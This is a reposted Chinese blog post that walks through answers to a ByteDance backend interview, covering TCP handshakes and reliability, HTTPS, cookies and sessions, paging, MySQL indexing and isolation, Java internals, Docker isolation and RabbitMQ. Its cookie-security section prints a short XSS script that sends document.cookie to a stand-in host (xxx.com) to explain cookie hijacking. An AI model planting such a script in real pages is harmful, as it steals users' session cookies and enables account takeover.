转载自: 被字节干碎,已跪在一面!

图解学习网站:https://xiaolincoding.com

大家好,我是小林。

这次给大家解析面了 1.5 小时的字节面经,全程八股具体多,考察的方面还是比较多的。

涉及到计算机网络、操作系统、mysql、java、docker、mq、算法,基本后端方面的知识都进行深度拷打。

看看你能扛住多少层? 考察的知识点,我帮大家罗列一下:

  • 计算机网络:tcp 三次握手和四次握手、tcp 可靠性、http、cookie 和 seesion
  • 操作系统:虚拟内存、分页和分段、二级页表
  • mysql:执行流程、b+树、explain、隔离级别
  • java:多线程通信、泛型、反射、类加载、jvm 内存模型、垃圾回收算法
  • docker:资源隔离
  • RabbitMQ:消息队列选型、消息幂等性、消息可靠性
  • 算法:leetcode763.划分字母区间

计算机网络

介绍一下3次握手和4次挥手的过程

三次握手的过程

image.png* 一开始,客户端和服务端都处于 CLOSE 状态。先是服务端主动监听某个端口,处于 LISTEN 状态

  • 客户端会随机初始化序号(client_isn),将此序号置于 TCP 首部的「序号」字段中,同时把 SYN 标志位置为 1,表示 SYN 报文。接着把第一个 SYN 报文发送给服务端,表示向服务端发起连接,该报文不包含应用层数据,之后客户端处于 SYN-SENT 状态。
  • 服务端收到客户端的 SYN 报文后,首先服务端也随机初始化自己的序号(server_isn),将此序号填入 TCP 首部的「序号」字段中,其次把 TCP 首部的「确认应答号」字段填入 client_isn + 1, 接着把 SYN 和 ACK 标志位置为 1。最后把该报文发给客户端,该报文也不包含应用层数据,之后服务端处于 SYN-RCVD 状态。
  • 客户端收到服务端报文后,还要向服务端回应最后一个应答报文,首先该应答报文 TCP 首部 ACK 标志位置为 1 ,其次「确认应答号」字段填入 server_isn + 1 ,最后把报文发送给服务端,这次报文可以携带客户到服务端的数据,之后客户端处于 ESTABLISHED 状态。
  • 服务端收到客户端的应答报文后,也进入 ESTABLISHED 状态。

TCP 四次挥手过程

具体过程:

  • 客户端主动调用关闭连接的函数,于是就会发送 FIN 报文,这个  FIN 报文代表客户端不会再发送数据了,进入 FIN_WAIT_1 状态;
  • 服务端收到了 FIN 报文,然后马上回复一个 ACK 确认报文,此时服务端进入 CLOSE_WAIT 状态。在收到 FIN 报文的时候,TCP 协议栈会为 FIN 包插入一个文件结束符 EOF 到接收缓冲区中,服务端应用程序可以通过 read 调用来感知这个 FIN 包,这个 EOF 会被放在已排队等候的其他已接收的数据之后,所以必须要得继续 read 接收缓冲区已接收的数据;
  • 接着,当服务端在 read 数据的时候,最后自然就会读到 EOF,接着 read() 就会返回 0,这时服务端应用程序如果有数据要发送的话,就发完数据后才调用关闭连接的函数,如果服务端应用程序没有数据要发送的话,可以直接调用关闭连接的函数,这时服务端就会发一个 FIN 包,这个  FIN 报文代表服务端不会再发送数据了,之后处于 LAST_ACK 状态;
  • 客户端接收到服务端的 FIN 包,并发送 ACK 确认包给服务端,此时客户端将进入 TIME_WAIT 状态;
  • 服务端收到 ACK 确认包后,就进入了最后的 CLOSE 状态;
  • 客户端经过 2MSL 时间之后,也进入 CLOSE 状态;

为什么4次握手中间两次不能变成一次?

服务器收到客户端的 FIN 报文时,内核会马上回一个 ACK 应答报文,但是服务端应用程序可能还有数据要发送,所以并不能马上发送 FIN 报文,而是将发送 FIN 报文的控制权交给服务端应用程序

  • 如果服务端应用程序有数据要发送的话,就发完数据后,才调用关闭连接的函数;
  • 如果服务端应用程序没有数据要发送的话,可以直接调用关闭连接的函数,

从上面过程可知,是否要发送第三次挥手的控制权不在内核,而是在被动关闭方(上图的服务端)的应用程序,因为应用程序可能还有数据要发送,由应用程序决定什么时候调用关闭连接的函数,当调用了关闭连接的函数,内核就会发送 FIN 报文了,所以服务端的 ACK 和 FIN 一般都会分开发送。

http为什么不安全?

HTTP 由于是明文传输,所以安全上存在以下三个风险:

  • 窃听风险,比如通信链路上可以获取通信内容,用户号容易没。
  • 篡改风险,比如强制植入垃圾广告,视觉污染,用户眼容易瞎。
  • 冒充风险,比如冒充淘宝网站,用户钱容易没。

HTTPS 在 HTTP 与 TCP 层之间加入了 SSL/TLS 协议,可以很好的解决了上述的风险:

  • 信息加密:交互信息无法被窃取,但你的号会因为「自身忘记」账号而没。
  • 校验机制:无法篡改通信内容,篡改了就不能正常显示,但百度「竞价排名」依然可以搜索垃圾广告。
  • 身份证书:证明淘宝是真的淘宝网,但你的钱还是会因为「剁手」而没。

TCP为什么可靠传输

TCP协议主要通过以下几点来保证传输可靠性:连接管理、序列号、确认应答、超时重传、流量控制、拥塞控制。

  • 连接管理:即三次握手和四次挥手。连接管理机制能够建立起可靠的连接,这是保证传输可靠性的前提。
  • 序列号:TCP将每个字节的数据都进行了编号,这就是序列号。序列号的具体作用如下:能够保证可靠性,既能防止数据丢失,又能避免数据重复。能够保证有序性,按照序列号顺序进行数据包还原。能够提高效率,基于序列号可实现多次发送,一次确认。
  • 确认应答:接收方接收数据之后,会回传ACK报文,报文中带有此次确认的序列号,用于告知发送方此次接收数据的情况。在指定时间后,若发送端仍未收到确认应答,就会启动超时重传。
  • 超时重传:超时重传主要有两种场景:数据包丢失:在指定时间后,若发送端仍未收到确认应答,就会启动超时重传,向接收端重新发送数据包。确认包丢失:当接收端收到重复数据(通过序列号进行识别)时将其丢弃,并重新回传ACK报文。
  • 流量控制:接收端处理数据的速度是有限的,如果发送方发送数据的速度过快,就会导致接收端的缓冲区溢出,进而导致丢包。为了避免上述情况的发生,TCP支持根据接收端的处理能力,来决定发送端的发送速度。这就是流量控制。流量控制是通过在TCP报文段首部维护一个滑动窗口来实现的。
  • 拥塞控制:拥塞控制就是当网络拥堵严重时,发送端减少数据发送。拥塞控制是通过发送端维护一个拥塞窗口来实现的。可以得出,发送端的发送速度,受限于滑动窗口和拥塞窗口中的最小值。拥塞控制方法分为:慢开始,拥塞避免、快重传和快恢复。

cookie和session区别是什么?

  • 作用范围不同,Cookie 保存在客户端(浏览器),Session 保存在服务器端。
  • 存取方式的不同,Cookie只能保存 ASCII,Session可以存任意数据类型,比如UserId等。
  • 有效期不同,Cookie可设置为长时间保持,比如默认登录功能功能,Session一般有效时间较短,客户端关闭或者Session超时都会失效。
  • 隐私策略不同,Cookie存储在客户端,信息容易被窃取;Session存储在服务端,相对安全一些。
  • 存储大小不同, 单个Cookie 保存的数据不能超过 4K,Session可存储数据远高于Cookie。

说说cookie安全性

Cookie篡改

这是最容易出现的情况,也就是直接修改 Cookie 的内容。我们知道,Cookie 是存储在客户端的,所以里面的内容可以通过浏览器的控制台或者 js 代码进行修改的。因此 Cookie 相对而言是不可信的,如果我们把一些重要的信息,例如权限信息存在 Cookie,很容易就被有心人篡改,导致越权问题。

Cookie 劫持

很多网站是用 Cookie 来做用户识别的,例如 Cookie 里存储了 Session id,通过Session id 来获取更进一步的用户信息。因此如果用户的 Cookie 被劫持了,盗用者是可以用这个 Cookie 来伪装成该用户来进行网站操作的。Cookie 劫持一般和 XSS 攻击一起使用,先通过 XSS 攻击获得了在页面上运行 js 的能力,然后通过 js 读取 Cookie,并发送给远程的服务器。例如

<script>  
  document.location=  
  'http://xxx.com/getCookie.php?cookie='  
    +  
   document.cookie;  
</script>  

除了通过 XSS 攻击来劫持 Cookie 外,攻击者还可能在网络节点中嗅探到 HTTP 连接的 Cookie。HTTP 连接采用的是明文传输,相当于所有信息都是在网络上裸奔的,很容易就会被有心人窃取到了。

操作系统

什么是虚拟内存和物理内存?

image.png* 虚拟内存:是操作系统提供给每个运行中程序的一种地址空间,每个程序在运行时认为自己拥有的内存空间就是虚拟内存,其大小可以远远大于物理内存的大小。虚拟内存通过将程序的地址空间划分成若干个固定大小的页或段,并将这些页或者段映射到物理内存中的不同位置,从而使得程序在运行时可以更高效地利用物理内存。

  • 物理内存:物理内存是计算机实际存在的内存,是计算机中的实际硬件部件。

页表和段表干什么的?

页表

分页是把整个虚拟和物理内存空间切成一段段固定尺寸的大小。这样一个连续并且尺寸固定的内存空间,我们叫(_Page_)。在 Linux 下,每一页的大小为 4KB。 虚拟地址与物理地址之间通过页表来映射,如下图: 页表是存储在内存里的,内存管理单元 (_MMU_)就做将虚拟内存地址转换成物理地址的工作。

段表

虚拟地址也可以通过段表与物理地址进行映射的,分段机制会把程序的虚拟地址分成 4 个段,每个段在段表中有一个项,在这一项找到段的基地址,再加上偏移量,于是就能找到物理内存中的地址,如下图: 如果要访问段 3 中偏移量 500 的虚拟地址,我们可以计算出物理地址为,段 3 基地址 7000 + 偏移量 500 = 7500。

为什么要有二级页表?

在 32 位的环境下,虚拟地址空间共有 4GB,假设一个页的大小是 4KB(2^12),那么就需要大约 100 万 (2^20) 个页,每个「页表项」需要 4 个字节大小来存储,那么整个 4GB 空间的映射就需要有 4MB 的内存来存储页表。

这 4MB 大小的页表,看起来也不是很大。但是要知道每个进程都是有自己的虚拟地址空间的,也就说都有自己的页表。那么,100 个进程的话,就需要 400MB 的内存来存储页表,这是非常大的内存了,更别说 64 位的环境了。所以,单级页表占用的内存会非常大。

要解决上面的问题,就需要采用一种叫作多级页表(Multi-Level Page Table)的解决方案。

在前面我们知道了,对于单页表的实现方式,在 32 位和页大小 4KB 的环境下,一个进程的页表需要装下 100 多万个「页表项」,并且每个页表项是占用 4 字节大小的,于是相当于每个页表需占用 4MB 大小的空间。

我们把这个 100 多万个「页表项」的单级页表「再」分页,将页表(一级页表)分为 1024 个页表(二级页表),每个表(二级页表)中包含 1024 个「页表项」,形成二级分页。如下图所示:

你可能会问,分了二级表,映射 4GB 地址空间就需要 4KB(一级页表)+ 4MB(二级页表)的内存,这样占用空间不是更大了吗?

当然如果 4GB 的虚拟地址全部都映射到了物理内存上的话,二级分页占用空间确实是更大了,但是,我们往往不会为一个进程分配那么多内存。

其实我们应该换个角度来看问题,还记得计算机组成原理里面无处不在的局部性原理么?

每个进程都有 4GB 的虚拟地址空间,而显然对于大多数程序来说,其使用到的空间远未达到 4GB,因为会存在部分对应的页表项都是空的,根本没有分配,对于已分配的页表项,如果存在最近一定时间未访问的页表,在物理内存紧张的情况下,操作系统会将页面换出到硬盘,也就是说不会占用物理内存。

如果使用了二级分页,一级页表就可以覆盖整个 4GB 虚拟地址空间,但如果某个一级页表的页表项没有被用到,也就不需要创建这个页表项对应的二级页表了,即可以在需要时才创建二级页表。做个简单的计算,假设只有 20% 的一级页表项被用到了,那么页表占用的内存空间就只有 4KB(一级页表) + 20% * 4MB(二级页表)= 0.804MB,这对比单级页表的 4MB 是不是一个巨大的节约?

那么为什么不分级的页表就做不到这样节约内存呢?

我们从页表的性质来看,保存在内存中的页表承担的职责是将虚拟地址翻译成物理地址。假如虚拟地址在页表中找不到对应的页表项,计算机系统就不能工作了。所以页表一定要覆盖全部虚拟地址空间,不分级的页表就需要有 100 多万个页表项来映射,而二级分页则只需要 1024 个页表项(此时一级页表覆盖到了全部虚拟地址空间,二级页表在需要时创建)。

我们把二级分页再推广到多级页表,就会发现页表占用的内存空间更少了,这一切都要归功于对局部性原理的充分应用。

对于 64 位的系统,两级分页肯定不够了,就变成了四级目录,分别是:

  • 全局页目录项 PGD(_Page Global Directory_);
  • 上层页目录项 PUD(_Page Upper Directory_);
  • 中间页目录项 PMD(_Page Middle Directory_);
  • 页表项 PTE(_Page Table Entry_);

MySQL

MySQL执行流程?

下面就是 MySQL 执行一条 SQL 查询语句的流程,也从图中可以看到 MySQL 内部架构里的各个功能模块。

  • 连接器:建立连接,管理连接、校验用户身份;
  • 查询缓存:查询语句如果命中查询缓存则直接返回,否则继续往下执行。MySQL 8.0 已删除该模块;
  • 解析 SQL,通过解析器对 SQL 查询语句进行词法分析、语法分析,然后构建语法树,方便后续模块读取表名、字段、语句类型;
  • 执行 SQL:执行 SQL 共有三个阶段:
  • 预处理阶段:检查表或字段是否存在;将 select * 中的 * 符号扩展为表上的所有列。
  • 优化阶段:基于查询成本的考虑, 选择查询成本最小的执行计划;
  • 执行阶段:根据执行计划执行 SQL 查询语句,从存储引擎读取记录,返回给客户端;

一条update是不是原子性的?为什么?

是原子性,主要通过锁+undolog 日志保证原子性的

  • 执行 update 的时候,会加行级别锁,保证了一个事务更新一条记录的时候,不会被其他事务干扰。
  • 事务执行过程中,会生成 undolog,如果事务执行失败,就可以通过 undolog 日志进行回滚。

B+树的好处是什么?

B 树和 B+ 都是通过多叉树的方式,会将树的高度变矮,所以这两个数据结构非常适合检索存于磁盘中的数据。

但是 MySQL 默认的存储引擎 InnoDB 采用的是 B+ 作为索引的数据结构,原因有:

  • B+ 树的非叶子节点不存放实际的记录数据,仅存放索引,因此数据量相同的情况下,相比存储即存索引又存记录的 B 树,B+树的非叶子节点可以存放更多的索引,因此 B+ 树可以比 B 树更「矮胖」,查询底层节点的磁盘 I/O次数会更少。
  • B+ 树有大量的冗余节点(所有非叶子节点都是冗余索引),这些冗余索引让 B+ 树在插入、删除的效率都更高,比如删除根节点的时候,不会像 B 树那样会发生复杂的树的变化;
  • B+ 树叶子节点之间用链表连接了起来,有利于范围查询,而 B 树要实现范围查询,因此只能通过树的遍历来完成范围查询,这会涉及多个节点的磁盘 I/O 操作,范围查询效率不如 B+ 树。

查索引情况有关命令

可以通过 explian 命令来分析 sql 的执行清理。 对于执行计划,参数有:

  • possible_keys 字段表示可能用到的索引;
  • key 字段表示实际用的索引,如果这一项为 NULL,说明没有使用索引;
  • key_len 表示索引的长度;
  • rows 表示扫描的数据行数。
  • type 表示数据扫描类型,我们需要重点看这个。

type 字段就是描述了找到所需数据时使用的扫描方式是什么,常见扫描类型的执行效率从低到高的顺序为

  • All(全表扫描):all 是最坏的情况,因为采用了全表扫描的方式
  • index(全索引扫描):index 和 all 差不多,只不过 index 对索引表进行全扫描,这样做的好处是不再需要对数据进行排序,但是开销依然很大。所以,要尽量避免全表扫描和全索引扫描。
  • range(索引范围扫描):range 表示采用了索引范围扫描,一般在 where 子句中使用 < 、>、in、between 等关键词,只检索给定范围的行,属于范围查找。从这一级别开始,索引的作用会越来越明显,因此我们需要尽量让 SQL 查询可以使用到 range 这一级别及以上的 type 访问方式
  • ref(非唯一索引扫描):ref 类型表示采用了非唯一索引,或者是唯一索引的非唯一性前缀,返回数据返回可能是多条。因为虽然使用了索引,但该索引列的值并不唯一,有重复。这样即使使用索引快速查找到了第一条数据,仍然不能停止,要进行目标值附近的小范围扫描。但它的好处是它并不需要扫全表,因为索引是有序的,即便有重复值,也是在一个非常小的范围内扫描。
  • eq_ref(唯一索引扫描):eq_ref 类型是使用主键或唯一索引时产生的访问方式,通常使用在多表联查中。比如,对两张表进行联查,关联条件是两张表的 user_id 相等,且 user_id 是唯一索引,那么使用 EXPLAIN 进行执行计划查看的时候,type 就会显示 eq_ref。
  • const(结果只有一条的主键或唯一索引扫描):const 类型表示使用了主键或者唯一索引与常量值进行比较,比如 select name from product where id=1。

如果一个列即使单列索引,又是联合索引,单独查它的话先走哪个?

mysql 优化器会分析每个索引的查询成本,然后选择成本最低的方案来执行 sql。

如果单列索引是 a,联合索引是(a ,b),那么针对下面这个查询:

select a, b from table where a = ? and b =?  

优化器会选择联合索引,因为查询成本更低,查询也不需要回表,直接索引覆盖了。

事务隔离级别有哪些?

mysql 事务隔离级别有四种,如下:

  • 读未提交,指一个事务还没提交时,它做的变更就能被其他事务看到;
  • 读提交,指一个事务提交之后,它做的变更才能被其他事务看到;
  • 可重复读,指一个事务执行过程中看到的数据,一直跟这个事务启动时看到的数据是一致的,MySQL InnoDB 引擎的默认隔离级别
  • 串行化;会对记录加上读写锁,在多个事务对这条记录进行读写操作时,如果发生了读写冲突的时候,后访问的事务必须等前一个事务执行完成,才能继续执行;

按隔离水平高低排序如下: 针对不同的隔离级别,并发事务时可能发生的现象也会不同。

幻读是什么?

在一个事务内多次查询某个符合查询条件的「记录数量」,如果出现前后两次查询到的记录数量不一样的情况,就意味着发生了「幻读」现象。

举个栗子。

假设有 A 和 B 这两个事务同时在处理,事务 A 先开始从数据库查询账户余额大于 100 万的记录,发现共有 5 条,然后事务 B 也按相同的搜索条件也是查询出了 5 条记录。

接下来,事务 A 插入了一条余额超过 100 万的账号,并提交了事务,此时数据库超过 100 万余额的账号个数就变为 6。

然后事务 B 再次查询账户余额大于 100 万的记录,此时查询到的记录数量有 6 条,发现和前一次读到的记录数量不一样了,就感觉发生了幻觉一样,这种现象就被称为幻读。

Java

多线程的通信方法有哪些?

  • 共享变量:多个线程可以通过共享的变量来进行通信。要确保线程安全,通常需要使用同步机制,如 synchronized 关键字或 Lock 接口来保护共享数据的访问。
  • wait() 和 notify()/notifyAll() 方法:这些方法是在 Object 类中定义的,用于线程间的基本通信。wait() 方法使线程进入等待状态,notify()/notifyAll() 方法用于唤醒等待的线程。
  • 信号量(Semaphore):Semaphore 是一种计数信号量,用于控制对共享资源的访问。它可以限制同时访问资源的线程数量。
  • 阻塞队列(BlockingQueue):BlockingQueue 是一个线程安全的队列,常用于实现生产者-消费者模式。线程可以通过向队列中放入数据或从队列中取出数据来进行通信。
  • Condition 接口:Condition 接口提供了在 Lock 对象上进行条件等待和通知的机制,比如 await() 和 signal() 方法,可以更灵活地控制线程的行为。
  • CountDownLatch:CountDownLatch 是一个同步工具类,允许一个或多个线程等待其他线程完成操作。通过减少计数器的方式来实现线程之间的协调。

说说对泛型的理解,什么情况下会用到泛型?

泛型其实就是在定义类、接口、方法的时候不局限地指定某一种特定类型,而让类、接口、方法的调用者来决定具体使用哪一种类型的参数。

用了泛型,可以在编译期间提供类型安全检查,避免在运行时出现类型转换错误,也可以可以避免代码中的重复性,例如避免手动进行类型转换。

会用到泛型的场景:

  1. 集合框架:Java 中的集合框架(如 ArrayList、HashMap 等)都使用了泛型,允许在集合中存储特定类型的元素。
  2. 类和方法的参数类型:当编写类或方法时,希望使用一种通用的类型而不限制具体的数据类型时,可以使用泛型。
  3. 方法返回类型:当方法需要返回多种不同类型的数据时,可以使用泛型来灵活返回不同类型的数据。
  4. 设计模式:某些设计模式(如工厂模式、策略模式等)也可以通过泛型来实现更灵活和可扩展的解决方案。

说说对反射的理解,什么情况下会用到反射?

反射允许程序在运行时获取类的各种信息,如类名、属性、方法等,那么可以在运行时动态加载类,而不需要在编译时就将类加载到程序中。这对于需要动态扩展程序功能的情况非常有用,同时可以使程序更加灵活和可扩展,也可以提高程序的可维护性和可测试性。许多框架都使用反射来实现自动化配置和依赖注入等功能。例如,Spring 框架就使用反射来实现依赖注入。

但是,使用反射可以访问和修改类的字段和方法,这可能会导致安全问题。因此,在使用反射时需要格外小心,确保不会对程序的安全性造成影响。 反射在日常开发中使用的地方有很多,例如以下几个:

  1. 动态代理:反射是动态代理的底层实现,即在运行时动态地创建代理对象,并拦截和增强方法调用。这常用于实现 AOP 功能,如日志记录、事务管理等。
  2. Bean 创建:Spring/Spring Boot 项目中,在项目启动时,创建的 Bean 对象就是通过反射来实现的。
  3. JDBC 连接:JDBC 中的 DriverManager 类通过反射加载并注册数据库驱动,这是 Java 数据库连接的标准做法。

说一下类加载机制?

类从被加载到虚拟机内存开始,到卸载出内存为止,它的整个生命周期包括以下 7 个阶段:

  • 加载:通过类的全限定名(包名 + 类名),获取到该类的.class文件的二进制字节流,将二进制字节流所代表的静态存储结构,转化为方法区运行时的数据结构,在内存中生成一个代表该类的java.lang.Class对象,作为方法区这个类的各种数据的访问入口
  • 连接:验证、准备、解析 3 个阶段统称为连接。
  • 验证:确保class文件中的字节流包含的信息,符合当前虚拟机的要求,保证这个被加载的class类的正确性,不会危害到虚拟机的安全。验证阶段大致会完成以下四个阶段的检验动作:文件格式校验、元数据验证、字节码验证、符号引用验证
  • 准备:为类中的静态字段分配内存,并设置默认的初始值,比如int类型初始值是0。被final修饰的static字段不会设置,因为final在编译的时候就分配了
  • 解析:解析阶段是虚拟机将常量池的「符号引用」直接替换为「直接引用」的过程。符号引用是以一组符号来描述所引用的目标,符号可以是任何形式的字面量,只要使用的时候可以无歧义地定位到目标即可。直接引用可以是直接指向目标的指针、相对偏移量或是一个能间接定位到目标的句柄,直接引用是和虚拟机实现的内存布局相关的。如果有了直接引用, 那引用的目标必定已经存在在内存中了。
  • 初始化:初始化是整个类加载过程的最后一个阶段,初始化阶段简单来说就是执行类的构造器方法(() ),要注意的是这里的构造器方法()并不是开发者写的,而是编译器自动生成的。
  • 使用:使用类或者创建对象
  • 卸载:如果有下面的情况,类就会被卸载:1. 该类所有的实例都已经被回收,也就是java堆中不存在该类的任何实例。2. 加载该类的ClassLoader已经被回收。 3. 类对应的java.lang.Class对象没有任何地方被引用,无法在任何地方通过反射访问该类的方法。

说一下 JVM 内存模型

根据 JVM8 规范,JVM 运行时内存共分为虚拟机栈、堆、元空间、程序计数器、本地方法栈五个部分。还有一部分内存叫直接内存,属于操作系统的本地内存,也是可以直接操作的。 JVM的内存结构主要分为以下几个部分:

  • 元空间:元空间的本质和永久代类似,都是对JVM规范中方法区的实现。不过元空间与永久代之间最大的区别在于:元空间并不在虚拟机中,而是使用本地内存。
  • Java 虚拟机栈:每个线程有一个私有的栈,随着线程的创建而创建。栈里面存着的是一种叫“栈帧”的东西,每个方法会创建一个栈帧,栈帧中存放了局部变量表(基本数据类型和对象引用)、操作数栈、方法出口等信息。栈的大小可以固定也可以动态扩展。
  • 本地方法栈:与虚拟机栈类似,区别是虚拟机栈执行java方法,本地方法站执行native方法。在虚拟机规范中对本地方法栈中方法使用的语言、使用方法与数据结构没有强制规定,因此虚拟机可以自由实现它。
  • 程序计数器:程序计数器可以看成是当前线程所执行的字节码的行号指示器。在任何一个确定的时刻,一个处理器(对于多内核来说是一个内核)都只会执行一条线程中的指令。因此,为了线程切换后能恢复到正确的执行位置,每条线程都需要一个独立的程序计数器,我们称这类内存区域为“线程私有”内存。
  • 堆内存:堆内存是 JVM 所有线程共享的部分,在虚拟机启动的时候就已经创建。所有的对象和数组都在堆上进行分配。这部分空间可通过 GC 进行回收。当申请不到空间时会抛出 OutOfMemoryError。堆是JVM内存占用最大,管理最复杂的一个区域。其唯一的用途就是存放对象实例:所有的对象实例及数组都在对上进行分配。jdk1.8后,字符串常量池从永久代中剥离出来,存放在队中。
  • 直接内存:直接内存并不是虚拟机运行时数据区的一部分,也不是Java 虚拟机规范中农定义的内存区域。在JDK1.4 中新加入了NIO(New Input/Output)类,引入了一种基于通道(Channel)与缓冲区(Buffer)的I/O 方式,它可以使用native 函数库直接分配堆外内存,然后通脱一个存储在Java堆中的DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在Java堆和Native堆中来回复制数据。

垃圾回收算法有哪些?

  • 标记-清除算法:标记-清除算法分为“标记”和“清除”两个阶段,首先通过可达性分析,标记出所有需要回收的对象,然后统一回收所有被标记的对象。标记-清除算法有两个缺陷,一个是效率问题,标记和清除的过程效率都不高,另外一个就是,清除结束后会造成大量的碎片空间。有可能会造成在申请大块内存的时候因为没有足够的连续空间导致再次 GC。
  • 复制算法:为了解决碎片空间的问题,出现了“复制算法”。复制算法的原理是,将内存分成两块,每次申请内存时都使用其中的一块,当内存不够时,将这一块内存中所有存活的复制到另一块上。然后将然后再把已使用的内存整个清理掉。复制算法解决了空间碎片的问题。但是也带来了新的问题。因为每次在申请内存时,都只能使用一半的内存空间。内存利用率严重不足。
  • 标记-整理算法:复制算法在 GC 之后存活对象较少的情况下效率比较高,但如果存活对象比较多时,会执行较多的复制操作,效率就会下降。而老年代的对象在 GC 之后的存活率就比较高,所以就有人提出了“标记-整理算法”。标记-整理算法的“标记”过程与“标记-清除算法”的标记过程一致,但标记之后不会直接清理。而是将所有存活对象都移动到内存的一端。移动结束后直接清理掉剩余部分。
  • 分代回收算法:分代收集是将内存划分成了新生代和老年代。分配的依据是对象的生存周期,或者说经历过的 GC 次数。对象创建时,一般在新生代申请内存,当经历一次 GC 之后如果对还存活,那么对象的年龄 +1。当年龄超过一定值(默认是 15,可以通过参数 -XX:MaxTenuringThreshold 来设定)后,如果对象还存活,那么该对象会进入老年代。

Docker

Docker为什么能环境隔离

  • 基于 Namespace 的视图隔离:Docker利用Linux命名空间(Namespace)来实现不同容器之间的隔离。每个容器都运行在自己的一组命名空间中,包括PID(进程)、网络、挂载点、IPC(进程间通信)等。这样,容器中的进程只能看到自己所在命名空间内的进程,而不会影响其他容器中的进程。
  • 基于 cgroups 的资源隔离:cgroups 是Linux内核的一个功能,允许在进程组之间分配、限制和优先处理系统资源,如CPU、内存和磁盘I/O。它们提供了一种机制,用于管理和隔离进程集合的资源使用,有助于资源限制、工作负载隔离以及在不同进程组之间进行资源优先处理。

RabbitMQ

为什么不用别的消息队列

因为我们的项目比较轻量级,所以在选择消息队列的时候,首先考虑的是简单、易上手,所以选择了RabbitMQ。

而且 RabbitMQ 支持多种客户端,如Python、Java、.NET、C、Ruby等,在易用性、扩展性、高可用性等方面表现都不错,并且可以与SpringAMQP完美整合,API丰富易用。

重复消费怎么解决?

生产端为了保证消息发送成功,可能会重复推送(直到收到成功ACK),会产生重复消息。但是一个成熟的MQ Server框架一般会想办法解决,避免存储重复消息(比如:空间换时间,存储已处理过的message_id),给生产端提供一个幂等性的发送消息接口。

但是消费端却无法根本解决这个问题,在高并发标准要求下,拉取消息+业务处理+提交消费位移需要做事务处理,另外消费端服务可能宕机,很可能会拉取到重复消息。

所以,只能业务端自己做控制,对于已经消费成功的消息,本地数据库表或Redis缓存业务标识,每次处理前先进行校验,保证幂等。

消息丢失怎么解决的?

使用一个消息队列,其实就分为三大块:生产者、中间件、消费者,所以要保证消息就是保证三个环节都不能丢失数据。

  • 消息生产阶段:生产者会不会丢消息,取决于生产者对于异常情况的处理是否合理。从消息被生产出来,然后提交给 MQ 的过程中,只要能正常收到 ( MQ 中间件) 的 ack 确认响应,就表示发送成功,所以只要处理好返回值和异常,如果返回异常则进行消息重发,那么这个阶段是不会出现消息丢失的。
  • 消息存储阶段:Kafka 在使用时是部署一个集群,生产者在发布消息时,队列中间件通常会写「多个节点」,也就是有多个副本,这样一来,即便其中一个节点挂了,也能保证集群的数据不丢失。
  • 消息消费阶段:消费者接收消息+消息处理之后,才回复 ack 的话,那么消息阶段的消息不会丢失。不能收到消息就回 ack,否则可能消息处理中途挂掉了,消息就丢失了。

算法

  • leetcode763.划分字母区间

项目

  • 项目架构是怎么样的?
  • 怎么提高优化qps?

推荐阅读: 秋招提前批开始了! 美团基架,我先开冲了!

好难!腾讯面试体验已结束。。。

激动!再次被阿里云捞了一波